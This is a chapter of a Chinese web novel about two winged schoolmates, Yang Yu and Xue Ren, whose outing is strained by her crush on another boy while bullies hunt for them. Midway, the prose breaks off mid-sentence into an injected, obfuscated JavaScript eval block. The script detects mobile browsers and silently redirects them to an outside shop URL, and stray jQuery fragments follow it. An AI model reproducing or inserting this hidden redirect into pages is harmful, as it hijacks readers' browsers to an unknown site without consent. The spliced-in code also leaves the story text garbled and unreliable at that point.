8.界限

作品:《数人类的绵羊

    ——今天一定要见到冯时易。


    杨育设了整整十个闹钟来确保自己不会错过放学时间。


    进店之前,她牵着薛仁的手,与他并肩走着。


    从文具店出来后,她独自走在前面,手机不离手,步子快得像在赶路。


    一路走到外面,食物的香气钻进鼻腔,杨育这才稍稍回过神。


    时间还早。既然都到了文具城附近,不如去美食街吃点东西再走。想到这儿,她回头看了一眼跟在后面的薛仁。


    他的脸隐没于阴影中,表情模糊。


    薛仁不说话的时候,存在感低得像一道影子。


    “你饿了吗?”她问。


    亲近的语气,甜甜的笑容好可爱,又好可恶。


    明明不是值得笑的情境,她对他笑只是因为心情太好,而这份好心情全然是因为另一个男的。


    扯动嘴角,薛仁干巴巴地挤出两个字:“饿了。”


    迟钝如杨育,也察觉到他有些反常。


    买了新的书包和眼镜,薛仁理应高兴才对,为什么他看上去比平时更低落呢?她不理解。是不是先前在店里她让他扮红脸,他把自己演进去了?


    自认为找到了缘由,杨育碰了碰他的胳膊,打趣道:“戏该收一收啦,老板不会跟出来看我们的。”


    薛仁淡淡地“嗯”了一声,表情却没有由阴转晴。


    “走吧。”她拽动他的衣角,“我也饿了,我们吃饭去。”


    小炒店的灯光昏黄。


    如他们之间的气氛,闷闷的沉沉的。


    杨育点的是一份猪排饭,薛仁要了鸡腿饭。


    没有显露任何要谈话的兴致,他低头,机械地吃着饭,连吞咽都是无声的。


    诡异的安静助长了心中的焦灼,杨育一边吃饭一边盯着手机,当屏幕上的时间灭掉,她就再按键,将屏幕唤醒。


    没过多久,薛仁已经吃好了。他从包里翻出饭盒,把剩的饭菜打包。


    杨育默默关注着这一幕。


    她知道他之后要把它们拿去喂流浪的小动物。


    “我也吃好了,”杨育将餐盘往他的手边一推,“剩的别浪费。”


    自然,她是让他把她的剩菜也一起打包拿去喂小猫做善事,这意思再清楚不过……杨育单方面认为。


    却不是。


    他盯住她,目光逐渐向下,流连于她的齿间,欲语还休。


    伸手,他从她的手中取下她用过的勺子,肌肤轻轻相触,又飞快移走。


    然后,薛仁开始用那把勺子吃她的饭。


    仿佛在做一件寻常的事,牙咬过她留下的齿痕,艳红的舌尖舔掉勺子残余的米饭。他细细咀嚼,吃得仔细,过分仔细。


    ——不正常!


    杨育起了一个胳膊的鸡皮疙瘩。


    瞠目结舌,心乱如麻。


    ——太超过界限了。


    她该说点什么,或者做点什么,阻止他这么做。


    脑子宕机了,杨育像个白痴一样看着他,脸唰地红透。


    他的吃相乖乖的,温顺得渗人。


    餐盘是她递给他的,仿佛是,她把薛仁欺负了。就如同在学校里,别人对他很过分时,他从不会反抗。


    杨育觉得这个状况是不对的,可她该指责他吗?薛仁做错了什么?


    直到他把她的饭干干净净地全部吃完,她也没想好要说的话。


    逃跑似地离开他们坐的桌子,她一眼不敢看对面摆着的空盘,还有勺子,那把该死的勺子……甚至连一直攥着的手机,杨育都忘了。


    好心的薛仁帮她拿起手机。


    手指抚过机身,一串青色的亮光沿着他的指尖跳动,屏幕异常地闪了两下。


    心情终于好些,他慢悠悠朝杨育走的方向追去。


    “你的手机。”


    “哦。”


    接过手机的时候,她很小心,避免碰到他。


    “接下来去哪?”薛仁主动问。


    “我要去街角等冯时易放学,你要去喂猫对吧?”杨育像被热开水被烫到似的,话说得又急又含糊。


    “对。”他点头。


    “那我们就在这里分开吧!”她迫不及待。


    “好啊。”


    说完话,薛仁便转身走了,比杨育走得更快。


    她望着他的背影,心里怪怪的。


    ——走得真干脆。


    尝试着收回视线,朝自己要去的地方迈步。她越走,越觉得不是滋味,心中空落得过分,就像是有什么东西遗落在他那儿了。


    好难受。


    被莫名的情绪推着,她回过头,看见薛仁已经走远。


    小小的,远远的,转过下个弯就要看不见他了。


    翅膀比脑子更迅速下了决定,杨育一飞冲天,闪现至薛仁面前。


    在看见他的那一瞬间,烦躁的心竟奇妙地获得了平静。


    “怎么了?”薛仁看向她,眼里写满困惑。


    “……”杨育还想问他呢,怎么了。


    ——为什么从文具店出来就不开心?为什么要吃自己的剩饭?为什么说走就走?


    因为实在没有能给的答案,她拿出了从未有过的诚实。


    “我觉得,好像忘记了什么事,心里不踏实。”


    她是想和他变得亲近的。


    薛仁却把距离拉得更远:“嗯,我忘记跟你道谢了。”


    郑重其事地,他跟她鞠躬,有礼地致谢。


    “谢谢你今天,给我买的眼镜和书包。你破费了,我很感谢你这么做。”


    “别这样,”杨育皱眉,“朋友之间不用这么客气。”


    “朋友该怎么样?你对朋友的定义是什么?”


    他的问题尖锐。


    她语塞,陷入沉思。


    “叮——”第一个手机闹铃响了。


    时间到了,杨育该去找冯时易。她知道,薛仁也知道。


    关闭闹钟,她深深地叹气。


    “别走。”


    冷不丁地,薛仁握住她的小指,拉住晃了晃,表情和语气都凄惨兮兮的。


    “吃饱饭了,我们可以一起去买冰淇淋吃。或者,陪我去喂流浪猫吧。”


    杨育摇头。


    “我得去见冯时易。”


    “为什么?”


    “我喜欢冯时易啊。”她答得理所当然。


    问她对“朋友”的定义,她支支吾吾;说起“喜欢”,却是百分之百的确定。


    杨育试图取得薛仁的认同:“就像你,你也有喜欢的女生呀,你画里总出现的那个人。”


    他凝视着她的双眼。


    她的眼神清澈、敞亮,像没有鱼的一汪清泉。


    “好啊。”薛仁笑出来,“你找他去吧。”


    这次是杨育先走。


    他没有机会看她的背影,他们都有翅膀,这便意味着她能以最快的速度原地消失。


    之前为什么杨育能够追得上薛仁呢?问题的答案,只有薛仁知道了。


    ……


    看事情的角度不同,对同一件事的理解也会截然不同。


    在杨育的视角,那天她做小生意差点被恶霸们坑,薛仁出手帮她脱险,临走前,她拿的钱纯是那一趟正当的精神损失费。


    在校园大哥的视角,故事是另一番面貌——他委托别人办事,被骗了。两个会轻功的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906272|191967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    穷老鼠耍他,给他的兄弟们狠狠打了一顿,不办事还把他的钱卷跑。


    丢钱是小事,丢面子是大事。


    这两日,大哥动用所有人脉,在打听那两个人的下落。哪怕他们蒙了面,他也会掘地三尺,把这两只老鼠从缝里揪出来。


    今天薛仁和杨育逃课,在校园里搜查他们的霸凌小团体一无所获。


    为首的大哥和他的小弟们聚集在墙角抽烟,他们嘴里一边骂骂咧咧,一边吞云吐雾。


    下一秒,这伙人连同他们嘴边升起的烟雾一起定格。


    像被一只无形的手“选中”,随后进行了剪切,粘贴。


    画面一闪,他们的位置被瞬移到了校外的街角,却没人感觉到任何异样。他们依旧重复着刚才在做的事情,嬉笑着吐烟圈,骂人。


    飞到与冯时易约定的地点,远远地,杨育就发现了那群人。


    悄悄从空中降落,她绕到巷子的另一侧,躲在一堆废弃的纸箱和广告牌后面。


    屏住呼吸,她竖起耳朵听他们的谈话内容。


    “试试给那女的下个新单,看她接不接?”


    “我们不是有她联系方式吗?直接给她的电话打爆!”


    “靠,找到她之后,我非扒了她的皮。”


    零散地听到几句,已经足够骇人。


    手心里全是汗,他们是来找她的,居然已经找到校外来了。


    就在这时,口袋里的手机突然响了。刺耳的铃声撕开空气,杨育整个人都僵住。


    万幸,是闹钟。


    是她自己设的闹钟。


    屏幕上闪烁着提醒事项——【狐狸精】。


    那三个字被加大加粗,占据了整块手机屏,白得刺眼。


    “什么东西?”


    杨育大受震撼,她分明记得自己取的标题是【冯时易】,手机怎么坏了?


    想关掉闹铃,可无论她怎么按键都不行,屏幕像中了邪似的,死死亮着。


    狐狸精,狐狸精,狐狸精——那三个大字在屏幕上反复跳动。


    脸涨得通红,杨育明明是正经要去见喜欢的人,被这几个字闹得,莫名感到心虚,像无能的丈夫正在处理棘手的婚外情。


    铃声引来了那伙人的注意。


    “有什么东西在响?”


    “那儿有人吧。”


    “这边。”


    一把捂住手机,杨育直直地往上飞,飞离那片区域。


    脚下的街角迅速缩小,她气喘吁吁地悬在半空中,长发被风刮得乱七八糟。


    坏人们聚集在她呆过的位置,四处张望。


    看来,他们一时半会儿是不会走了。


    和冯时易的见面,告吹。杨育无奈地接受这个事实。


    那现在,要去哪里?


    ——去找薛仁。


    这个念头出于本能。


    杨育心想,她得告诉他:坏人在找他们,那伙人已经走出校园,在满街搜人,他务必保持警惕。


    可一想到,他们分别时的尴尬,她又生出犹豫。


    风从脸边吹过,杨育漫无目的地在空中飘荡。不知不觉,她已飞到了薛仁家的上空。


    “他回家了吗?”她小声嘟囔。


    去看一眼吧。要是他在,就顺便提醒他。


    于是,她俯冲而下。


    透过窗缝,她看到薛仁在小桌子前画画。


    “咚咚。”


    她敲敲窗户。


    听到动静,他抬起头。


    此刻,杨育注意到他的身后还有一个小孩。


    薛仁的弟弟正坐在床上,怔怔地看着她。


    见她悬在半空,小孩的眼睛瞬间瞪圆。